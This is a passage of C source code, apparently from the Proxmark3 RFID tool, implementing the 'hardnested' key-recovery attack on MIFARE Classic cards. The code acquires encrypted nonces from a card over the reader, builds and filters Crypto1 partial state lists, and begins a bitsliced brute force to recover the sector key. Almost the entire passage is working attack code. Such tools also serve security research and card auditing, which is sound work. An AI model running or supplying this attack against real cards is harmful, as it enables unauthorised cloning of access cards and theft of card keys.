698 uint32_t total_added_nonces = 0;
699
700 cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
701 known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
702
703 printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
704 fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
705
706 do {
707 uint32_t nt_enc = 0;
708 uint8_t par_enc = 0;
709
710 simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
711 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
712 total_added_nonces += add_nonce(nt_enc, par_enc);
713 total_num_nonces++;
714
715 if (first_byte_num == 256 ) {
716 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
717 if (!filter_flip_checked) {
718 Check_for_FilterFlipProperties();
719 filter_flip_checked = true;
720 }
721 num_good_first_bytes = estimate_second_byte_sum();
722 if (total_num_nonces > next_fivehundred) {
723 next_fivehundred = (total_num_nonces/500+1) * 500;
724 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
725 total_num_nonces,
726 total_added_nonces,
727 CONFIDENCE_THRESHOLD * 100.0,
728 num_good_first_bytes);
729 }
730 }
731
732 } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
733
734 time1 = clock() - time1;
735 if ( time1 > 0 ) {
736 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
737 total_num_nonces,
738 ((float)time1)/CLOCKS_PER_SEC,
739 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
740 }
741 fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
742
743 }
744
745 static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
746 {
747 clock_t time1 = clock();
748 bool initialize = true;
749 bool finished = false;
750 bool filter_flip_checked = false;
751 uint32_t flags = 0;
752 uint8_t write_buf[9];
753 uint32_t total_num_nonces = 0;
754 uint32_t next_fivehundred = 500;
755 uint32_t total_added_nonces = 0;
756 uint32_t idx = 1;
757 FILE *fnonces = NULL;
758 UsbCommand resp;
759 field_off = false;
760 UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, 0}};
761 memcpy(c.d.asBytes, key, 6);
762
763 printf("Acquiring nonces...\n");
764 do {
765 flags = 0;
766 flags |= initialize ? 0x0001 : 0;
767 flags |= slow ? 0x0002 : 0;
768 flags |= field_off ? 0x0004 : 0;
769 c.arg[2] = flags;
770 clearCommandBuffer();
771 SendCommand(&c);
772
773 if (field_off) break;
774
775 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
776 if (fnonces) fclose(fnonces);
777 return 1;
778 }
779 if (resp.arg[0]) {
780 if (fnonces) fclose(fnonces);
781 return resp.arg[0]; // error during nested_hard
782 }
783
784 if (initialize) {
785 // global var CUID
786 cuid = resp.arg[1];
787 if (nonce_file_write && fnonces == NULL) {
788 if ((fnonces = fopen("nonces.bin","wb")) == NULL) {
789 PrintAndLog("Could not create file nonces.bin");
790 return 3;
791 }
792 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
793 num_to_bytes(cuid, 4, write_buf);
794 fwrite(write_buf, 1, 4, fnonces);
795 fwrite(&trgBlockNo, 1, 1, fnonces);
796 fwrite(&trgKeyType, 1, 1, fnonces);
797 fflush(fnonces);
798 }
799 initialize = false;
800 }
801
802 uint32_t nt_enc1, nt_enc2;
803 uint8_t par_enc;
804 uint16_t num_acquired_nonces = resp.arg[2];
805 uint8_t *bufp = resp.d.asBytes;
806 for (uint16_t i = 0; i < num_acquired_nonces; i+=2) {
807 nt_enc1 = bytes_to_num(bufp, 4);
808 nt_enc2 = bytes_to_num(bufp+4, 4);
809 par_enc = bytes_to_num(bufp+8, 1);
810
811 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
812 total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
813 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
814 total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
815
816 if (nonce_file_write && fnonces) {
817 fwrite(bufp, 1, 9, fnonces);
818 fflush(fnonces);
819 }
820 bufp += 9;
821 }
822 total_num_nonces += num_acquired_nonces;
823
824 if (first_byte_num == 256) {
825
826 if (!filter_flip_checked) {
827 Check_for_FilterFlipProperties();
828 filter_flip_checked = true;
829 }
830
831 num_good_first_bytes = estimate_second_byte_sum();
832
833 if (total_num_nonces > next_fivehundred) {
834 next_fivehundred = (total_num_nonces/500+1) * 500;
835 printf("Acquired %5d nonces (%5d/%5d with distinct bytes 0,1). #bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
836 total_num_nonces,
837 total_added_nonces,
838 NONCES_THRESHOLD * idx,
839 CONFIDENCE_THRESHOLD * 100.0,
840 num_good_first_bytes);
841 }
842
843 if (total_added_nonces >= (NONCES_THRESHOLD * idx) && num_good_first_bytes > 0 ) {
844 bool cracking = generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
845 if (cracking || known_target_key != -1) {
846 field_off = brute_force(); // switch off field with next SendCommand and then finish
847 }
848 idx++;
849 }
850 }
851
852 } while (!finished);
853
854 if (nonce_file_write && fnonces)
855 fclose(fnonces);
856
857 time1 = clock() - time1;
858 if ( time1 > 0 ) {
859 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
860 total_num_nonces,
861 ((float)time1)/CLOCKS_PER_SEC,
862 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
863 );
864 }
865 return 0;
866 }
867
868 static int init_partial_statelists(void)
869 {
870 const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
871 // const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
872 const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73357, 0, 18127, 0, 126635 };
873
874 printf("Allocating memory for partial statelists...\n");
875 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
876 for (uint16_t i = 0; i <= 16; i+=2) {
877 partial_statelist[i].len[odd_even] = 0;
878 uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
879 partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);
880 if (partial_statelist[i].states[odd_even] == NULL) {
881 PrintAndLog("Cannot allocate enough memory. Aborting");
882 return 4;
883 }
884 for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
885 partial_statelist[i].index[odd_even][j] = NULL;
886 }
887 }
888 }
889
890 printf("Generating partial statelists...\n");
891 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
892 uint32_t index = -1;
893 uint32_t num_of_states = 1<<20;
894 for (uint32_t state = 0; state < num_of_states; state++) {
895 uint16_t sum_property = PartialSumProperty(state, odd_even);
896 uint32_t *p = partial_statelist[sum_property].states[odd_even];
897 p += partial_statelist[sum_property].len[odd_even];
898 *p = state;
899 partial_statelist[sum_property].len[odd_even]++;
900 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
901 if ((state & index_mask) != index) {
902 index = state & index_mask;
903 }
904 if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
905 partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
906 }
907 }
908 // add End Of List markers
909 for (uint16_t i = 0; i <= 16; i += 2) {
910 uint32_t *p = partial_statelist[i].states[odd_even];
911 p += partial_statelist[i].len[odd_even];
912 *p = END_OF_LIST_MARKER;
913 }
914 }
915
916 return 0;
917 }
918
919 static void init_BitFlip_statelist(void)
920 {
921 printf("Generating bitflip statelist...\n");
922 uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
923 uint32_t index = -1;
924 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
925 for (uint32_t state = 0; state < (1 << 20); state++) {
926 if (filter(state) != filter(state^1)) {
927 if ((state & index_mask) != index) {
928 index = state & index_mask;
929 }
930 if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
931 statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
932 }
933 *p++ = state;
934 }
935 }
936 // set len and add End Of List marker
937 statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
938 *p = END_OF_LIST_MARKER;
939 statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
940 }
941
942 static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
943 {
944 uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index
945
946 if (p == NULL) return NULL;
947 while (*p < (state & mask)) p++;
948 if (*p == END_OF_LIST_MARKER) return NULL; // reached end of list, no match
949 if ((*p & mask) == (state & mask)) return p; // found a match.
950 return NULL; // no match
951 }
952
953 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
954 {
955 uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
956 uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit
957 uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function
958 uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
959 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13
960 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits
961 return !all_diff;
962 }
963
964 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
965 {
966 uint_fast8_t j_bit_mask = 0x01 << bit;
967 uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit
968 uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
969 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16
970 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits
971 return all_diff;
972 }
973
974 static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
975 {
976 if (odd_even) {
977 // odd bits
978 switch (num_common_bits) {
979 case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
980 case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
981 case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
982 case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
983 case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
984 case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
985 case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
986 case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
987 }
988 } else {
989 // even bits
990 switch (num_common_bits) {
991 case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
992 case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
993 case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
994 case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
995 case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
996 case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
997 case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
998 }
999 }
1000
1001 return true; // valid state
1002 }
1003
1004 static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even)
1005 {
1006 for (uint16_t i = 1; i < num_good_first_bytes; i++) {
1007 uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
1008 uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
1009 uint_fast8_t j = common_bits(bytes_diff);
1010 uint32_t mask = 0xfffffff0;
1011 if (odd_even == ODD_STATE) {
1012 mask >>= j/2;
1013 } else {
1014 mask >>= (j+1)/2;
1015 }
1016 mask &= 0x000fffff;
1017 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1018 bool found_match = false;
1019 for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
1020 for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
1021 if (r*(16-s) + (16-r)*s == sum_a8) {
1022 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1023 uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
1024 uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
1025 if (p != NULL) {
1026 while ((state & mask) == (*p & mask) && (*p != END_OF_LIST_MARKER)) {
1027 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1028 found_match = true;
1029 // if ((odd_even == ODD_STATE && state == test_state_odd)
1030 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1031 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1032 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1033 // }
1034 break;
1035 } else {
1036 // if ((odd_even == ODD_STATE && state == test_state_odd)
1037 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1038 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1039 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1040 // }
1041 }
1042 p++;
1043 }
1044 } else {
1045 // if ((odd_even == ODD_STATE && state == test_state_odd)
1046 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1047 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1048 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1049 // }
1050 }
1051 }
1052 }
1053 }
1054
1055 if (!found_match) {
1056 // if ((odd_even == ODD_STATE && state == test_state_odd)
1057 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1058 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1059 // }
1060 return false;
1061 }
1062 }
1063
1064 return true;
1065 }
1066
1067 static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even)
1068 {
1069 for (uint16_t i = 0; i < 256; i++) {
1070 if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
1071 uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
1072 uint_fast8_t j = common_bits(bytes_diff);
1073 uint32_t mask = 0xfffffff0;
1074 if (odd_even == ODD_STATE) {
1075 mask >>= j/2;
1076 } else {
1077 mask >>= (j+1)/2;
1078 }
1079 mask &= 0x000fffff;
1080 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1081 bool found_match = false;
1082 uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
1083 if (p != NULL) {
1084 while ((state & mask) == (*p & mask) && (*p != END_OF_LIST_MARKER)) {
1085 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1086 found_match = true;
1087 // if ((odd_even == ODD_STATE && state == test_state_odd)
1088 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1089 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1090 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1091 // }
1092 break;
1093 } else {
1094 // if ((odd_even == ODD_STATE && state == test_state_odd)
1095 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1096 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1097 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1098 // }
1099 }
1100 p++;
1101 }
1102 } else {
1103 // if ((odd_even == ODD_STATE && state == test_state_odd)
1104 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1105 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1106 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1107 // }
1108 }
1109 if (!found_match) {
1110 // if ((odd_even == ODD_STATE && state == test_state_odd)
1111 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1112 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1113 // }
1114 return false;
1115 }
1116 }
1117
1118 }
1119
1120 return true;
1121 }
1122
1123 static struct sl_cache_entry {
1124 uint32_t *sl;
1125 uint32_t len;
1126 } sl_cache[17][17][2];
1127
1128 static void init_statelist_cache(void)
1129 {
1130 for (uint16_t i = 0; i < 17; i+=2) {
1131 for (uint16_t j = 0; j < 17; j+=2) {
1132 for (uint16_t k = 0; k < 2; k++) {
1133 sl_cache[i][j][k].sl = NULL;
1134 sl_cache[i][j][k].len = 0;
1135 }
1136 }
1137 }
1138 }
1139
1140 static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
1141 {
1142 uint32_t worstcase_size = 1<<20;
1143
1144 // check cache for existing results
1145 if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
1146 candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
1147 candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
1148 return 0;
1149 }
1150
1151 candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
1152 if (candidates->states[odd_even] == NULL) {
1153 PrintAndLog("Out of memory error.\n");
1154 return 4;
1155 }
1156 uint32_t *add_p = candidates->states[odd_even];
1157 for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != END_OF_LIST_MARKER; p1++) {
1158 uint32_t search_mask = 0x000ffff0;
1159 uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
1160 if (p2 != NULL) {
1161 while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != END_OF_LIST_MARKER) {
1162 if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
1163 || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
1164 if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
1165 if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) {
1166 *add_p++ = (*p1 << 4) | *p2;
1167 }
1168 }
1169 }
1170 p2++;
1171 }
1172 }
1173 }
1174
1175 // set end of list marker and len
1176 *add_p = END_OF_LIST_MARKER;
1177 candidates->len[odd_even] = add_p - candidates->states[odd_even];
1178
1179 candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));
1180
1181 sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
1182 sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];
1183
1184 return 0;
1185 }
1186
1187 static statelist_t *add_more_candidates(statelist_t *current_candidates)
1188 {
1189 statelist_t *new_candidates = NULL;
1190 if (current_candidates == NULL) {
1191 if (candidates == NULL) {
1192 candidates = (statelist_t *)malloc(sizeof(statelist_t));
1193 }
1194 new_candidates = candidates;
1195 } else {
1196 new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
1197 }
1198 new_candidates->next = NULL;
1199 new_candidates->len[ODD_STATE] = 0;
1200 new_candidates->len[EVEN_STATE] = 0;
1201 new_candidates->states[ODD_STATE] = NULL;
1202 new_candidates->states[EVEN_STATE] = NULL;
1203 return new_candidates;
1204 }
1205
1206 static bool TestIfKeyExists(uint64_t key)
1207 {
1208 struct Crypto1State *pcs;
1209 pcs = crypto1_create(key);
1210 crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
1211
1212 uint32_t state_odd = pcs->odd & 0x00ffffff;
1213 uint32_t state_even = pcs->even & 0x00ffffff;
1214 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1215 printf("Validating keysearch space\n");
1216 uint64_t count = 0;
1217 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1218 bool found_odd = false;
1219 bool found_even = false;
1220 uint32_t *p_odd = p->states[ODD_STATE];
1221 uint32_t *p_even = p->states[EVEN_STATE];
1222 while (*p_odd != END_OF_LIST_MARKER) {
1223 if ((*p_odd & 0x00ffffff) == state_odd) {
1224 found_odd = true;
1225 break;
1226 }
1227 p_odd++;
1228 }
1229 while (*p_even != END_OF_LIST_MARKER) {
1230 if ((*p_even & 0x00ffffff) == state_even) {
1231 found_even = true;
1232 }
1233 p_even++;
1234 }
1235 count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
1236 if (found_odd && found_even) {
1237 PrintAndLog("Key Found after testing %llu (2^%1.1f) out of %lld (2^%1.1f) keys.",
1238 count,
1239 log(count)/log(2),
1240 maximum_states,
1241 log(maximum_states)/log(2)
1242 );
1243 if (write_stats) {
1244 fprintf(fstats, "1\n");
1245 }
1246 crypto1_destroy(pcs);
1247 return true;
1248 }
1249 }
1250
1251 printf("Key NOT found!\n");
1252 if (write_stats) {
1253 fprintf(fstats, "0\n");
1254 }
1255 crypto1_destroy(pcs);
1256
1257 return false;
1258 }
1259
1260 static bool generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
1261 {
1262 printf("Generating crypto1 state candidates... \n");
1263
1264 statelist_t *current_candidates = NULL;
1265 // estimate maximum candidate states
1266 maximum_states = 0;
1267 for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
1268 for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
1269 if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
1270 maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
1271 }
1272 }
1273 }
1274
1275 if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)
1276
1277 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2));
1278
1279 init_statelist_cache();
1280
1281 for (uint16_t p = 0; p <= 16; p += 2) {
1282 for (uint16_t q = 0; q <= 16; q += 2) {
1283 if (p*(16-q) + (16-p)*q == sum_a0) {
1284 // printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1285 // p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
1286 for (uint16_t r = 0; r <= 16; r += 2) {
1287 for (uint16_t s = 0; s <= 16; s += 2) {
1288 if (r*(16-s) + (16-r)*s == sum_a8) {
1289 current_candidates = add_more_candidates(current_candidates);
1290 if (current_candidates) {
1291 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1292 // and eliminate the need to calculate the other part
1293 if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE])
1294 < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) {
1295 add_matching_states(current_candidates, p, r, ODD_STATE);
1296 if(current_candidates->len[ODD_STATE]) {
1297 add_matching_states(current_candidates, q, s, EVEN_STATE);
1298 } else {
1299 current_candidates->len[EVEN_STATE] = 0;
1300 uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
1301 *p = END_OF_LIST_MARKER;
1302 }
1303 } else {
1304 add_matching_states(current_candidates, q, s, EVEN_STATE);
1305 if(current_candidates->len[EVEN_STATE]) {
1306 add_matching_states(current_candidates, p, r, ODD_STATE);
1307 } else {
1308 current_candidates->len[ODD_STATE] = 0;
1309 uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
1310 *p = END_OF_LIST_MARKER;
1311 }
1312 }
1313 //printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1314 //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1315 }
1316 }
1317 }
1318 }
1319 }
1320 }
1321 }
1322
1323 maximum_states = 0;
1324 unsigned int n = 0;
1325 for (statelist_t *sl = candidates; sl != NULL && n < 128; sl = sl->next, n++) {
1326 maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
1327 }
1328
1329 if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)
1330
1331 float kcalc = log(maximum_states)/log(2);
1332 printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, kcalc);
1333 if (write_stats) {
1334 if (maximum_states != 0) {
1335 fprintf(fstats, "%1.1f;", kcalc);
1336 } else {
1337 fprintf(fstats, "%1.1f;", 0.0);
1338 }
1339 }
1340 if (kcalc < CRACKING_THRESHOLD) return true;
1341
1342 return false;
1343 }
1344
1345 static void free_candidates_memory(statelist_t *sl)
1346 {
1347 if (sl == NULL) {
1348 return;
1349 } else {
1350 free_candidates_memory(sl->next);
1351 free(sl);
1352 }
1353 }
1354
1355 static void free_statelist_cache(void)
1356 {
1357 for (uint16_t i = 0; i < 17; i+=2) {
1358 for (uint16_t j = 0; j < 17; j+=2) {
1359 for (uint16_t k = 0; k < 2; k++) {
1360 free(sl_cache[i][j][k].sl);
1361 }
1362 }
1363 }
1364 }
1365
1366 #define MAX_BUCKETS 128
1367 uint64_t foundkey = 0;
1368 size_t keys_found = 0;
1369 size_t bucket_count = 0;
1370 statelist_t* buckets[MAX_BUCKETS];
1371 size_t total_states_tested = 0;
1372 size_t thread_count = 4;
1373
1374 // these bitsliced states will hold identical states in all slices
1375 bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
1376
1377 // arrays of bitsliced states with identical values in all slices
1378 bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
1379 bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
1380
1381 #define EXACT_COUNT
1382
1383 static const uint64_t crack_states_bitsliced(statelist_t *p){
1384 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1385 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1386 uint64_t key = -1;
1387 uint8_t bSize = sizeof(bitslice_t);
1388
1389 #ifdef EXACT_COUNT
1390 size_t bucket_states_tested = 0;
1391 size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
1392 #else
1393 const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
1394 #endif
1395
1396 bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
1397 size_t bitsliced_blocks = 0;
1398 uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
1399
1400 // bitslice all the even states
1401 for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){
1402
1403 #ifdef __WIN32
1404 #ifdef __MINGW32__
